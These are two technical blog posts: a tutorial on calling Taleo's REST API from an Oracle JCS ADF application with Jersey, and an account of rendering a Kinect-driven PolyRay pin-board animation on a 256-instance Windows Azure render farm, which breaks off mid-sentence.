REST service. JCS documentation for supported specifications states: Java API for RESTful Web Services (JAX-RS) 1.1 So Jersey 1.x will be used. Download the single-JAR Jersey bundle; in this example Jersey 1.18 JAR bundle is used. Json-simple Jjson-simple library will be used to process the json objects. Download the  JAR file; in this example json-simple-1.1.1.jar is used. Accessing data in Taleo Before implementing the application it is beneficial to familiarize oneself with the data in Taleo. Easiest way to do this is by using a RESTClient on your browser. Once added to the browser you can access the UI: The client can be used to call the REST services to test the URLs and data before adding them into the application. First derive the base URL for the service this can be done with: Method: GET URL: https://tbe.taleo.net/MANAGER/dispatcher/api/v1/serviceUrl/<company name> The response will contain the base URL to be used for the service calls for the company. Next obtain authentication token with: Method: POST URL: https://ch.tbe.taleo.net/CH07/ats/api/v1/login?orgCode=<company>&userName=<user name>&password=<password> The response includes an authentication token that can be used for few hours to authenticate with the service: {   "response": {     "authToken": "webapi26419680747505890557"   },   "status": {     "detail": {},     "success": true   } } To authenticate the service calls navigate to "Headers -> Custom Header": And add a new request header with: Name: Cookie Value: authToken=webapi26419680747505890557 Once authentication token is defined the tool can be used to invoke REST services; for example: Method: GET URL: https://ch.tbe.taleo.net/CH07/ats/api/v1/object/candidate/search.xml?status=16 This data will be used on the application to be created. For details on the Taleo REST services refer to the Taleo Business Edition REST API Guide. Create Application First Fusion Web Application is created and configured. Start JDeveloper and click "New Application": Application Name: JcsRestDemo Application Package Prefix: oracle.apps.jcs.test Application Template: Fusion Web Application (ADF) Configure Local Cloud Connection Follow the steps documented in the "Java Cloud Service ADF Web Application" article to configure a local database connection needed to create the ADFbc objects. Configure Libraries Add the 3rd party libraries into the class path. Create the following directory and copy the jar files into it: <JDEV_USER_HOME>/JcsRestDemo/lib  Select the "Model" project, navigate "Application -> Project Properties -> Libraries and Classpath -> Add JAR / Directory" and add the 2 3rd party libraries: Accessing Data from Taleo To access data from Taleo using the REST service the 3rd party libraries will be used. 2 Java classes are implemented, one representing the Candidate object and another for accessing the Taleo repository Candidate Candidate object is a POJO object used to represent the candidate data obtained from the Taleo repository. The data obtained will be used to populate the ADFbc object used to display the data on the UI. The candidate object contains simply the variables we obtain using the REST services and the getters / setters for them: Navigate "New -> General -> Java -> Java Class", enter "Candidate" as the name and create it in the package "oracle.apps.jcs.test.model".  Copy / paste the following as the content: import oracle.jbo.domain.Number; public class Candidate { private Number candId; private String firstName; private String lastName; public Candidate() { super(); } public Candidate(Number candId, String firstName, String lastName) { super(); this.candId = candId; this.firstName = firstName; this.lastName = lastName; } public void setCandId(Number candId) { this.candId = candId; } public Number getCandId() { return candId; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getFirstName() { return firstName; } public void setLastName(String lastName) { this.lastName = lastName; } public String getLastName() { return lastName; } } Taleo Repository Taleo repository class will interact with the Taleo REST services. The logic will query data from Taleo and populate Candidate objects with the data. The Candidate object will then be used to populate the ADFbc object used to display data on the UI. Navigate "New -> General -> Java -> Java Class", enter "TaleoRepository" as the name and create it in the package "oracle.apps.jcs.test.model".  Copy / paste the following as the content (for details of the implementation refer to the documentation in the code): import com.sun.jersey.api.client.Client; import com.sun.jersey.api.client.ClientResponse; import com.sun.jersey.api.client.WebResource; import com.sun.jersey.core.util.MultivaluedMapImpl; import java.io.StringReader; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Map; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.MultivaluedMap; import oracle.jbo.domain.Number; import org.json.simple.JSONArray; import org.json.simple.JSONObject; import org.json.simple.parser.JSONParser; /** * This class interacts with the Taleo REST services */ public class TaleoRepository { /** * Connection information needed to access the Taleo services */ String _company = null; String _userName = null; String _password = null; /** * Jersey client used to access the REST services */ Client _client = null; /** * Parser for processing the JSON objects used as * input / output for the services */ JSONParser _parser = null; /** * The base url for constructing the REST URLs. This is obtained * from Taleo with a service call */ String _baseUrl = null; /** * Authentication token obtained from Taleo using a service call. * The token can be used to authenticate on subsequent * service calls. The token will expire in 4 hours */ String _authToken = null; /** * Static url that can be used to obtain the url used to construct * service calls for a given company */ private static String _taleoUrl = "https://tbe.taleo.net/MANAGER/dispatcher/api/v1/serviceUrl/"; /** * Default constructor for the repository * Authentication details are passed as parameters and used to generate * authentication token. Note that each service call will * generate its own token. This is done to avoid dealing with the expiry * of the token. Also only 20 tokens are allowed per user simultaneously. * So instead for each call there is login / logout. * * @param company the company for which the service calls are made * @param userName the user name to authenticate with * @param password the password to authenticate with. */ public TaleoRepository(String company, String userName, String password) { super(); _company = company; _userName = userName; _password = password; _client = Client.create(); _parser = new JSONParser(); _baseUrl = getBaseUrl(); } /** * This obtains the base url for a company to be used * to construct the urls for service calls * @return base url for the service calls */ private String getBaseUrl() { String result = null; if (null != _baseUrl) { result = _baseUrl; } else { try { String company = _company; WebResource resource = _client.resource(_taleoUrl + company); ClientResponse response = resource.type(MediaType.APPLICATION_FORM_URLENCODED_TYPE).get(ClientResponse.class); String entity = response.getEntity(String.class); JSONObject jsonObject = (JSONObject)_parser.parse(new StringReader(entity)); JSONObject jsonResponse = (JSONObject)jsonObject.get("response"); result = (String)jsonResponse.get("URL"); } catch (Exception ex) { ex.printStackTrace(); } } return result; } /** * Generates authentication token, that can be used to authenticate on * subsequent service calls. Note that each service call will * generate its own token. This is done to avoid dealing with the expiry * of the token. Also only 20 tokens are allowed per user simultaneously. * So instead for each call there is login / logout. * @return authentication token that can be used to authenticate on * subsequent service calls */ private String login() { String result = null; try { MultivaluedMap<String, String> formData = new MultivaluedMapImpl(); formData.add("orgCode", _company); formData.add("userName", _userName); formData.add("password", _password); WebResource resource = _client.resource(_baseUrl + "login"); ClientResponse response = resource.type(MediaType.APPLICATION_FORM_URLENCODED_TYPE).post(ClientResponse.class, formData); String entity = response.getEntity(String.class); JSONObject jsonObject = (JSONObject)_parser.parse(new StringReader(entity)); JSONObject jsonResponse = (JSONObject)jsonObject.get("response"); result = (String)jsonResponse.get("authToken"); } catch (Exception ex) { throw new RuntimeException("Unable to login ", ex); } if (null == result) throw new RuntimeException("Unable to login "); return result; } /** * Releases a authentication token. Each call to login must be followed * by call to logout after the processing is done. This is required as * the tokens are limited to 20 per user and if not released the tokens * will only expire after 4 hours. * @param authToken */ private void logout(String authToken) { WebResource resource = _client.resource(_baseUrl + "logout"); resource.header("cookie", "authToken=" + authToken).post(ClientResponse.class); } /** * This method is used to obtain a list of candidates using a REST * service call. At this example the query is hard coded to query * based on status. The url constructed to access the service is: * <_baseUrl>/object/candidate/search.xml?status=16 * @return List of candidates obtained with the service call */ public List<Candidate> getCandidates() { List<Candidate> result = new ArrayList<Candidate>(); try { // First login, note that in finally block we must have logout _authToken = "authToken=" + login(); /** * Construct the URL, the resulting url will be: * <_baseUrl>/object/candidate/search.xml?status=16 */ MultivaluedMap<String, String> formData = new MultivaluedMapImpl(); formData.add("status", "16"); JSONArray searchResults = (JSONArray)getTaleoResource("object/candidate/search", "searchResults", formData); /** * Process the results, the resulting JSON object is something like * this (simplified for readability): * * { * "response": * { * "searchResults": * [ * { * "candidate": * { * "candId": 211, * "firstName": "Mary", * "lastName": "Stochi", * logic here will find the candidate object(s), obtain the desired * data from them, construct a Candidate object based on the data * and add it to the results. */ for (Object object : searchResults) { JSONObject temp = (JSONObject)object; JSONObject candidate = (JSONObject)findObject(temp, "candidate"); Long candIdTemp = (Long)candidate.get("candId"); Number candId = (null == candIdTemp ? null : new Number(candIdTemp)); String firstName = (String)candidate.get("firstName"); String lastName = (String)candidate.get("lastName"); result.add(new Candidate(candId, firstName, lastName)); } } catch (Exception ex) { ex.printStackTrace(); } finally { if (null != _authToken) logout(_authToken); } return result; } /** * Convenience method to construct url for the service call, invoke the * service and obtain a resource from the response * @param path the path for the service to be invoked. This is combined * with the base url to construct a url for the service * @param resource the key for the object in the response that will be * obtained * @param parameters any parameters used for the service call. The call * is slightly different depending whether parameters exist or not. * @return the resource from the response for the service call */ private Object getTaleoResource(String path, String resource, MultivaluedMap<String, String> parameters) { Object result = null; try { WebResource webResource = _client.resource(_baseUrl + path); ClientResponse response = null; if (null == parameters) response = webResource.header("cookie", _authToken).get(ClientResponse.class); else response = webResource.queryParams(parameters).header("cookie", _authToken).get(ClientResponse.class); String entity = response.getEntity(String.class); JSONObject jsonObject = (JSONObject)_parser.parse(new StringReader(entity)); result = findObject(jsonObject, resource); } catch (Exception ex) { ex.printStackTrace(); } return result; } /** * Convenience method to recursively find a object with an key * traversing down from a given root object. This will traverse a * JSONObject / JSONArray recursively to find a matching key, if found * the object with the key is returned. * @param root root object which contains the key searched for * @param key the key for the object to search for * @return the object matching the key */ private Object findObject(Object root, String key) { Object result = null; if (root instanceof JSONObject) { JSONObject rootJSON = (JSONObject)root; if (rootJSON.containsKey(key)) { result = rootJSON.get(key); } else { Iterator children = rootJSON.entrySet().iterator(); while (children.hasNext()) { Map.Entry entry = (Map.Entry)children.next(); Object child = entry.getValue(); if (child instanceof JSONObject || child instanceof JSONArray) { result = findObject(child, key); if (null != result) break; } } } } else if (root instanceof JSONArray) { JSONArray rootJSON = (JSONArray)root; for (Object child : rootJSON) { if (child instanceof JSONObject || child instanceof JSONArray) { result = findObject(child, key); if (null != result) break; } } } return result; } }   Creating Business Objects While JCS application can be created without a local database, the local database is required when using ADFbc objects even if database objects are not referred. For this example we will create a "Transient" view object that will be programmatically populated based the data obtained from Taleo REST services. Creating ADFbc objects Choose the "Model" project and navigate "New -> Business Tier : ADF Business Components : View Object". On the "Initialize Business Components Project" choose the local database connection created in previous step. On Step 1 enter "JcsRestDemoVO" on the "Name" and choose "Rows populated programmatically, not based on query": On step 2 create the following attributes: CandId Type: Number Updatable: Always Key Attribute: checked Name Type: String Updatable: Always On steps 3 and 4 accept defaults and click "Next".  On step 5 check the "Application Module" checkbox and enter "JcsRestDemoAM" as the name: Click "Finish" to generate the objects. Populating the VO To display the data on the UI the "transient VO" is populated programmatically based on the data obtained from the Taleo REST services. Open the "JcsRestDemoVOImpl.java". Copy / paste the following as the content (for details of the implementation refer to the documentation in the code): import java.sql.ResultSet; import java.util.List; import java.util.ListIterator; import oracle.jbo.server.ViewObjectImpl; import oracle.jbo.server.ViewRowImpl; import oracle.jbo.server.ViewRowSetImpl; // --------------------------------------------------------------------- // --- File generated by Oracle ADF Business Components Design Time. // --- Tue Feb 18 09:40:25 PST 2014 // --- Custom code may be added to this class. // --- Warning: Do not modify method signatures of generated methods. // --------------------------------------------------------------------- public class JcsRestDemoVOImpl extends ViewObjectImpl { /** * This is the default constructor (do not remove). */ public JcsRestDemoVOImpl() { } @Override public void executeQuery() { /** * For some reason we need to reset everything, otherwise * 2nd entry to the UI screen may fail with * "java.util.NoSuchElementException" in createRowFromResultSet * call to "candidates.next()". I am not sure why this is happening * as the Iterator is new and "hasNext" is true at the point * of the execution. My theory is that since the iterator object is * exactly the same the VO cache somehow reuses the iterator including * the pointer that has already exhausted the iterable elements on the * previous run. Working around the issue * here by cleaning out everything on the VO every time before query * is executed on the VO. */ getViewDef().setQuery(null); getViewDef().setSelectClause(null); setQuery(null); this.reset(); this.clearCache(); super.executeQuery(); } /** * executeQueryForCollection - overridden for custom java data source support. */ protected void executeQueryForCollection(Object qc, Object[] params, int noUserParams) { /** * Integrate with the Taleo REST services using TaleoRepository class. * A list of candidates matching a hard coded query is obtained. */ TaleoRepository repository = new TaleoRepository(<company>, <username>, <password>); List<Candidate> candidates = repository.getCandidates(); /** * Store iterator for the candidates as user data on the collection. * This will be used in createRowFromResultSet to create rows based on * the custom iterator. */ ListIterator<Candidate> candidatescIterator = candidates.listIterator(); setUserDataForCollection(qc, candidatescIterator); super.executeQueryForCollection(qc, params, noUserParams); } /** * hasNextForCollection - overridden for custom java data source support. */ protected boolean hasNextForCollection(Object qc) { boolean result = false; /** * Determines whether there are candidates for which to create a row */ ListIterator<Candidate> candidates = (ListIterator<Candidate>)getUserDataForCollection(qc); result = candidates.hasNext(); /** * If all candidates to be created indicate that processing is done */ if (!result) { setFetchCompleteForCollection(qc, true); } return result; } /** * createRowFromResultSet - overridden for custom java data source support. */ protected ViewRowImpl createRowFromResultSet(Object qc, ResultSet resultSet) { /** * Obtain the next candidate from the collection and create a row * for it. */ ListIterator<Candidate> candidates = (ListIterator<Candidate>)getUserDataForCollection(qc); ViewRowImpl row = createNewRowForCollection(qc); try { Candidate candidate = candidates.next(); row.setAttribute("CandId", candidate.getCandId()); row.setAttribute("Name", candidate.getFirstName() + " " + candidate.getLastName()); } catch (Exception e) { e.printStackTrace(); } return row; } /** * getQueryHitCount - overridden for custom java data source support. */ public long getQueryHitCount(ViewRowSetImpl viewRowSet) { /** * For this example this is not implemented rather we always return 0. */ return 0; } } Creating UI Choose the "ViewController" project and navigate "New -> Web Tier : JSF : JSF Page". On the "Create JSF Page" enter "JcsRestDemo" as name and ensure that the "Create as XML document (*.jspx)" is checked.  Open "JcsRestDemo.jspx" and navigate to "Data Controls -> JcsRestDemoAMDataControl -> JcsRestDemoVO1" and drag & drop the VO to the "<af:form> " as a "ADF Read-only Table": Accept the defaults in "Edit Table Columns". To execute the query navigate to to "Data Controls -> JcsRestDemoAMDataControl -> JcsRestDemoVO1 -> Operations -> Execute" and drag & drop the operation to the "<af:form> " as a "Button": Deploying to JCS Follow the same steps as documented in previous article"Java Cloud Service ADF Web Application". Once deployed the application can be accessed with URL: https://java-[identity domain].java.[data center].oraclecloudapps.com/JcsRestDemo-ViewController-context-root/faces/JcsRestDemo.jspx The UI displays a list of candidates obtained from the Taleo REST Services: Summary In this article we learned how to integrate with REST services using Jersey library in JCS. In future articles various other integration techniques will be covered.

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  • 256 Windows Azure Worker Roles, Windows Kinect and a 90's Text-Based Ray-Tracer

    - by Alan Smith
    For a couple of years I have been demoing a simple render farm hosted in Windows Azure using worker roles and the Azure Storage service. At the start of the presentation I deploy an Azure application that uses 16 worker roles to render a 1,500 frame 3D ray-traced animation. At the end of the presentation, when the animation was complete, I would play the animation delete the Azure deployment. The standing joke with the audience was that it was that it was a “$2 demo”, as the compute charges for running the 16 instances for an hour was $1.92, factor in the bandwidth charges and it’s a couple of dollars. The point of the demo is that it highlights one of the great benefits of cloud computing, you pay for what you use, and if you need massive compute power for a short period of time using Windows Azure can work out very cost effective. The “$2 demo” was great for presenting at user groups and conferences in that it could be deployed to Azure, used to render an animation, and then removed in a one hour session. I have always had the idea of doing something a bit more impressive with the demo, and scaling it from a “$2 demo” to a “$30 demo”. The challenge was to create a visually appealing animation in high definition format and keep the demo time down to one hour.  This article will take a run through how I achieved this. Ray Tracing Ray tracing, a technique for generating high quality photorealistic images, gained popularity in the 90’s with companies like Pixar creating feature length computer animations, and also the emergence of shareware text-based ray tracers that could run on a home PC. In order to render a ray traced image, the ray of light that would pass from the view point must be tracked until it intersects with an object. At the intersection, the color, reflectiveness, transparency, and refractive index of the object are used to calculate if the ray will be reflected or refracted. Each pixel may require thousands of calculations to determine what color it will be in the rendered image. Pin-Board Toys Having very little artistic talent and a basic understanding of maths I decided to focus on an animation that could be modeled fairly easily and would look visually impressive. I’ve always liked the pin-board desktop toys that become popular in the 80’s and when I was working as a 3D animator back in the 90’s I always had the idea of creating a 3D ray-traced animation of a pin-board, but never found the energy to do it. Even if I had a go at it, the render time to produce an animation that would look respectable on a 486 would have been measured in months. PolyRay Back in 1995 I landed my first real job, after spending three years being a beach-ski-climbing-paragliding-bum, and was employed to create 3D ray-traced animations for a CD-ROM that school kids would use to learn physics. I had got into the strange and wonderful world of text-based ray tracing, and was using a shareware ray-tracer called PolyRay. PolyRay takes a text file describing a scene as input and, after a few hours processing on a 486, produced a high quality ray-traced image. The following is an example of a basic PolyRay scene file. background Midnight_Blue   static define matte surface { ambient 0.1 diffuse 0.7 } define matte_white texture { matte { color white } } define matte_black texture { matte { color dark_slate_gray } } define position_cylindrical 3 define lookup_sawtooth 1 define light_wood <0.6, 0.24, 0.1> define median_wood <0.3, 0.12, 0.03> define dark_wood <0.05, 0.01, 0.005>     define wooden texture { noise surface { ambient 0.2  diffuse 0.7  specular white, 0.5 microfacet Reitz 10 position_fn position_cylindrical position_scale 1  lookup_fn lookup_sawtooth octaves 1 turbulence 1 color_map( [0.0, 0.2, light_wood, light_wood] [0.2, 0.3, light_wood, median_wood] [0.3, 0.4, median_wood, light_wood] [0.4, 0.7, light_wood, light_wood] [0.7, 0.8, light_wood, median_wood] [0.8, 0.9, median_wood, light_wood] [0.9, 1.0, light_wood, dark_wood]) } } define glass texture { surface { ambient 0 diffuse 0 specular 0.2 reflection white, 0.1 transmission white, 1, 1.5 }} define shiny surface { ambient 0.1 diffuse 0.6 specular white, 0.6 microfacet Phong 7  } define steely_blue texture { shiny { color black } } define chrome texture { surface { color white ambient 0.0 diffuse 0.2 specular 0.4 microfacet Phong 10 reflection 0.8 } }   viewpoint {     from <4.000, -1.000, 1.000> at <0.000, 0.000, 0.000> up <0, 1, 0> angle 60     resolution 640, 480 aspect 1.6 image_format 0 }       light <-10, 30, 20> light <-10, 30, -20>   object { disc <0, -2, 0>, <0, 1, 0>, 30 wooden }   object { sphere <0.000, 0.000, 0.000>, 1.00 chrome } object { cylinder <0.000, 0.000, 0.000>, <0.000, 0.000, -4.000>, 0.50 chrome }   After setting up the background and defining colors and textures, the viewpoint is specified. The “camera” is located at a point in 3D space, and it looks towards another point. The angle, image resolution, and aspect ratio are specified. Two lights are present in the image at defined coordinates. The three objects in the image are a wooden disc to represent a table top, and a sphere and cylinder that intersect to form a pin that will be used for the pin board toy in the final animation. When the image is rendered, the following image is produced. The pins are modeled with a chrome surface, so they reflect the environment around them. Note that the scale of the pin shaft is not correct, this will be fixed later. Modeling the Pin Board The frame of the pin-board is made up of three boxes, and six cylinders, the front box is modeled using a clear, slightly reflective solid, with the same refractive index of glass. The other shapes are modeled as metal. object { box <-5.5, -1.5, 1>, <5.5, 5.5, 1.2> glass } object { box <-5.5, -1.5, -0.04>, <5.5, 5.5, -0.09> steely_blue } object { box <-5.5, -1.5, -0.52>, <5.5, 5.5, -0.59> steely_blue } object { cylinder <-5.2, -1.2, 1.4>, <-5.2, -1.2, -0.74>, 0.2 steely_blue } object { cylinder <5.2, -1.2, 1.4>, <5.2, -1.2, -0.74>, 0.2 steely_blue } object { cylinder <-5.2, 5.2, 1.4>, <-5.2, 5.2, -0.74>, 0.2 steely_blue } object { cylinder <5.2, 5.2, 1.4>, <5.2, 5.2, -0.74>, 0.2 steely_blue } object { cylinder <0, -1.2, 1.4>, <0, -1.2, -0.74>, 0.2 steely_blue } object { cylinder <0, 5.2, 1.4>, <0, 5.2, -0.74>, 0.2 steely_blue }   In order to create the matrix of pins that make up the pin board I used a basic console application with a few nested loops to create two intersecting matrixes of pins, which models the layout used in the pin boards. The resulting image is shown below. The pin board contains 11,481 pins, with the scene file containing 23,709 lines of code. For the complete animation 2,000 scene files will be created, which is over 47 million lines of code. Each pin in the pin-board will slide out a specific distance when an object is pressed into the back of the board. This is easily modeled by setting the Z coordinate of the pin to a specific value. In order to set all of the pins in the pin-board to the correct position, a bitmap image can be used. The position of the pin can be set based on the color of the pixel at the appropriate position in the image. When the Windows Azure logo is used to set the Z coordinate of the pins, the following image is generated. The challenge now was to make a cool animation. The Azure Logo is fine, but it is static. Using a normal video to animate the pins would not work; the colors in the video would not be the same as the depth of the objects from the camera. In order to simulate the pin board accurately a series of frames from a depth camera could be used. Windows Kinect The Kenect controllers for the X-Box 360 and Windows feature a depth camera. The Kinect SDK for Windows provides a programming interface for Kenect, providing easy access for .NET developers to the Kinect sensors. The Kinect Explorer provided with the Kinect SDK is a great starting point for exploring Kinect from a developers perspective. Both the X-Box 360 Kinect and the Windows Kinect will work with the Kinect SDK, the Windows Kinect is required for commercial applications, but the X-Box Kinect can be used for hobby projects. The Windows Kinect has the advantage of providing a mode to allow depth capture with objects closer to the camera, which makes for a more accurate depth image for setting the pin positions. Creating a Depth Field Animation The depth field animation used to set the positions of the pin in the pin board was created using a modified version of the Kinect Explorer sample application. In order to simulate the pin board accurately, a small section of the depth range from the depth sensor will be used. Any part of the object in front of the depth range will result in a white pixel; anything behind the depth range will be black. Within the depth range the pixels in the image will be set to RGB values from 0,0,0 to 255,255,255. A screen shot of the modified Kinect Explorer application is shown below. The Kinect Explorer sample application was modified to include slider controls that are used to set the depth range that forms the image from the depth stream. This allows the fine tuning of the depth image that is required for simulating the position of the pins in the pin board. The Kinect Explorer was also modified to record a series of images from the depth camera and save them as a sequence JPEG files that will be used to animate the pins in the animation the Start and Stop buttons are used to start and stop the image recording. En example of one of the depth images is shown below. Once a series of 2,000 depth images has been captured, the task of creating the animation can begin. Rendering a Test Frame In order to test the creation of frames and get an approximation of the time required to render each frame a test frame was rendered on-premise using PolyRay. The output of the rendering process is shown below. The test frame contained 23,629 primitive shapes, most of which are the spheres and cylinders that are used for the 11,800 or so pins in the pin board. The 1280x720 image contains 921,600 pixels, but as anti-aliasing was used the number of rays that were calculated was 4,235,777, with 3,478,754,073 object boundaries checked. The test frame of the pin board with the depth field image applied is shown below. The tracing time for the test frame was 4 minutes 27 seconds, which means rendering the2,000 frames in the animation would take over 148 hours, or a little over 6 days. Although this is much faster that an old 486, waiting almost a week to see the results of an animation would make it challenging for animators to create, view, and refine their animations. It would be much better if the animation could be rendered in less than one hour. Windows Azure Worker Roles The cost of creating an on-premise render farm to render animations increases in proportion to the number of servers. The table below shows the cost of servers for creating a render farm, assuming a cost of $500 per server. Number of Servers Cost 1 $500 16 $8,000 256 $128,000   As well as the cost of the servers, there would be additional costs for networking, racks etc. Hosting an environment of 256 servers on-premise would require a server room with cooling, and some pretty hefty power cabling. The Windows Azure compute services provide worker roles, which are ideal for performing processor intensive compute tasks. With the scalability available in Windows Azure a job that takes 256 hours to complete could be perfumed using different numbers of worker roles. The time and cost of using 1, 16 or 256 worker roles is shown below. Number of Worker Roles Render Time Cost 1 256 hours $30.72 16 16 hours $30.72 256 1 hour $30.72   Using worker roles in Windows Azure provides the same cost for the 256 hour job, irrespective of the number of worker roles used. Provided the compute task can be broken down into many small units, and the worker role compute power can be used effectively, it makes sense to scale the application so that the task is completed quickly, making the results available in a timely fashion. The task of rendering 2,000 frames in an animation is one that can easily be broken down into 2,000 individual pieces, which can be performed by a number of worker roles. Creating a Render Farm in Windows Azure The architecture of the render farm is shown in the following diagram. The render farm is a hybrid application with the following components: ·         On-Premise o   Windows Kinect – Used combined with the Kinect Explorer to create a stream of depth images. o   Animation Creator – This application uses the depth images from the Kinect sensor to create scene description files for PolyRay. These files are then uploaded to the jobs blob container, and job messages added to the jobs queue. o   Process Monitor – This application queries the role instance lifecycle table and displays statistics about the render farm environment and render process. o   Image Downloader – This application polls the image queue and downloads the rendered animation files once they are complete. ·         Windows Azure o   Azure Storage – Queues and blobs are used for the scene description files and completed frames. A table is used to store the statistics about the rendering environment.   The architecture of each worker role is shown below.   The worker role is configured to use local storage, which provides file storage on the worker role instance that can be use by the applications to render the image and transform the format of the image. The service definition for the worker role with the local storage configuration highlighted is shown below. <?xml version="1.0" encoding="utf-8"?> <ServiceDefinition name="CloudRay" >   <WorkerRole name="CloudRayWorkerRole" vmsize="Small">     <Imports>     </Imports>     <ConfigurationSettings>       <Setting name="DataConnectionString" />     </ConfigurationSettings>     <LocalResources>       <LocalStorage name="RayFolder" cleanOnRoleRecycle="true" />     </LocalResources>   </WorkerRole> </ServiceDefinition>     The two executable programs, PolyRay.exe and DTA.exe are included in the Azure project, with Copy Always set as the property. PolyRay will take the scene description file and render it to a Truevision TGA file. As the TGA format has not seen much use since the mid 90’s it is converted to a JPG image using Dave's Targa Animator, another shareware application from the 90’s. Each worker roll will use the following process to render the animation frames. 1.       The worker process polls the job queue, if a job is available the scene description file is downloaded from blob storage to local storage. 2.       PolyRay.exe is started in a process with the appropriate command line arguments to render the image as a TGA file. 3.       DTA.exe is started in a process with the appropriate command line arguments convert the TGA file to a JPG file. 4.       The JPG file is uploaded from local storage to the images blob container. 5.       A message is placed on the images queue to indicate a new image is available for download. 6.       The job message is deleted from the job queue. 7.       The role instance lifecycle table is updated with statistics on the number of frames rendered by the worker role instance, and the CPU time used. The code for this is shown below. public override void Run() {     // Set environment variables     string polyRayPath = Path.Combine(Environment.GetEnvironmentVariable("RoleRoot"), PolyRayLocation);     string dtaPath = Path.Combine(Environment.GetEnvironmentVariable("RoleRoot"), DTALocation);       LocalResource rayStorage = RoleEnvironment.GetLocalResource("RayFolder");     string localStorageRootPath = rayStorage.RootPath;       JobQueue jobQueue = new JobQueue("renderjobs");     JobQueue downloadQueue = new JobQueue("renderimagedownloadjobs");     CloudRayBlob sceneBlob = new CloudRayBlob("scenes");     CloudRayBlob imageBlob = new CloudRayBlob("images");     RoleLifecycleDataSource roleLifecycleDataSource = new RoleLifecycleDataSource();       Frames = 0;       while (true)     {         // Get the render job from the queue         CloudQueueMessage jobMsg = jobQueue.Get();           if (jobMsg != null)         {             // Get the file details             string sceneFile = jobMsg.AsString;             string tgaFile = sceneFile.Replace(".pi", ".tga");             string jpgFile = sceneFile.Replace(".pi", ".jpg");               string sceneFilePath = Path.Combine(localStorageRootPath, sceneFile);             string tgaFilePath = Path.Combine(localStorageRootPath, tgaFile);             string jpgFilePath = Path.Combine(localStorageRootPath, jpgFile);               // Copy the scene file to local storage             sceneBlob.DownloadFile(sceneFilePath);               // Run the ray tracer.             string polyrayArguments =                 string.Format("\"{0}\" -o \"{1}\" -a 2", sceneFilePath, tgaFilePath);             Process polyRayProcess = new Process();             polyRayProcess.StartInfo.FileName =                 Path.Combine(Environment.GetEnvironmentVariable("RoleRoot"), polyRayPath);             polyRayProcess.StartInfo.Arguments = polyrayArguments;             polyRayProcess.Start();             polyRayProcess.WaitForExit();               // Convert the image             string dtaArguments =                 string.Format(" {0} /FJ /P{1}", tgaFilePath, Path.GetDirectoryName (jpgFilePath));             Process dtaProcess = new Process();             dtaProcess.StartInfo.FileName =                 Path.Combine(Environment.GetEnvironmentVariable("RoleRoot"), dtaPath);             dtaProcess.StartInfo.Arguments = dtaArguments;             dtaProcess.Start();             dtaProcess.WaitForExit();               // Upload the image to blob storage             imageBlob.UploadFile(jpgFilePath);               // Add a download job.             downloadQueue.Add(jpgFile);               // Delete the render job message             jobQueue.Delete(jobMsg);               Frames++;         }         else         {             Thread.Sleep(1000);         }           // Log the worker role activity.         roleLifecycleDataSource.Alive             ("CloudRayWorker", RoleLifecycleDataSource.RoleLifecycleId, Frames);     } }     Monitoring Worker Role Instance Lifecycle In order to get more accurate statistics about the lifecycle of the worker role instances used to render the animation data was tracked in an Azure storage table. The following class was used to track the worker role lifecycles in Azure storage.   public class RoleLifecycle : TableServiceEntity {     public string ServerName { get; set; }     public string Status { get; set; }     public DateTime StartTime { get; set; }     public DateTime EndTime { get; set; }     public long SecondsRunning { get; set; }     public DateTime LastActiveTime { get; set; }     public int Frames { get; set; }     public string Comment { get; set; }       public RoleLifecycle()     {     }       public RoleLifecycle(string roleName)     {         PartitionKey = roleName;         RowKey = Utils.GetAscendingRowKey();         Status = "Started";         StartTime = DateTime.UtcNow;         LastActiveTime = StartTime;         EndTime = StartTime;         SecondsRunning = 0;         Frames = 0;     } }     A new instance of this class is created and added to the storage table when the role starts. It is then updated each time the worker renders a frame to record the total number of frames rendered and the total processing time. These statistics are used be the monitoring application to determine the effectiveness of use of resources in the render farm. Rendering the Animation The Azure solution was deployed to Windows Azure with the service configuration set to 16 worker role instances. This allows for the application to be tested in the cloud environment, and the performance of the application determined. When I demo the application at conferences and user groups I often start with 16 instances, and then scale up the application to the full 256 instances. The configuration to run 16 instances is shown below. <?xml version="1.0" encoding="utf-8"?> <ServiceConfiguration serviceName="CloudRay" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration" osFamily="1" osVersion="*">   <Role name="CloudRayWorkerRole">     <Instances count="16" />     <ConfigurationSettings>       <Setting name="DataConnectionString"         value="DefaultEndpointsProtocol=https;AccountName=cloudraydata;AccountKey=..." />     </ConfigurationSettings>   </Role> </ServiceConfiguration>     About six minutes after deploying the application the first worker roles become active and start to render the first frames of the animation. The CloudRay Monitor application displays an icon for each worker role instance, with a number indicating the number of frames that the worker role has rendered. The statistics on the left show the number of active worker roles and statistics about the render process. The render time is the time since the first worker role became active; the CPU time is the total amount of processing time used by all worker role instances to render the frames.   Five minutes after the first worker role became active the last of the 16 worker roles activated. By this time the first seven worker roles had each rendered one frame of the animation.   With 16 worker roles u and running it can be seen that one hour and 45 minutes CPU time has been used to render 32 frames with a render time of just under 10 minutes.     At this rate it would take over 10 hours to render the 2,000 frames of the full animation. In order to complete the animation in under an hour more processing power will be required. Scaling the render farm from 16 instances to 256 instances is easy using the new management portal. The slider is set to 256 instances, and the configuration saved. We do not need to re-deploy the application, and the 16 instances that are up and running will not be affected. Alternatively, the configuration file for the Azure service could be modified to specify 256 instances.   <?xml version="1.0" encoding="utf-8"?> <ServiceConfiguration serviceName="CloudRay" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration" osFamily="1" osVersion="*">   <Role name="CloudRayWorkerRole">     <Instances count="256" />     <ConfigurationSettings>       <Setting name="DataConnectionString"         value="DefaultEndpointsProtocol=https;AccountName=cloudraydata;AccountKey=..." />     </ConfigurationSettings>   </Role> </ServiceConfiguration>     Six minutes after the new configuration has been applied 75 new worker roles have activated and are processing their first frames.   Five minutes later the full configuration of 256 worker roles is up and running. We can see that the average rate of frame rendering has increased from 3 to 12 frames per minute, and that over 17 hours of CPU time has been utilized in 23 minutes. In this test the time to provision 140 worker roles was about 11 minutes, which works out at about one every five seconds.   We are now half way through the rendering, with 1,000 frames complete. This has utilized just under three days of CPU time in a little over 35 minutes.   The animation is now complete, with 2,000 frames rendered in a little over 52 minutes. The CPU time used by the 256 worker roles is 6 days, 7 hours and 22 minutes with an average frame rate 